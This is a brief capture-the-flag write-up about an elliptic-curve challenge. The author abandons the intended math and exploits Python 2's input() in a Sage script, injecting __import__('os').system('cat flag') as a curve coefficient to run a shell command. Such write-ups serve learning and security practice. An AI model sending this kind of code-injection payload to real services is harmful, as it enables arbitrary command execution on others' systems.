I was able to generate many anomalous curve, but none had the property of being a canonical lift over Qp. After spending about 10 hours trying this challenge, I realized that Sage runs over python2, and it was calling the input() function :-).
Final payload: `__import__('os').system('cat flag')`
Give me the coefficients of your curve in the form of y^2 = x^3 + ax + b mod p with p greater than 20131666766450299574456885580633887604472487111855607229539622615638:
a = __import__('os').system('cat flag')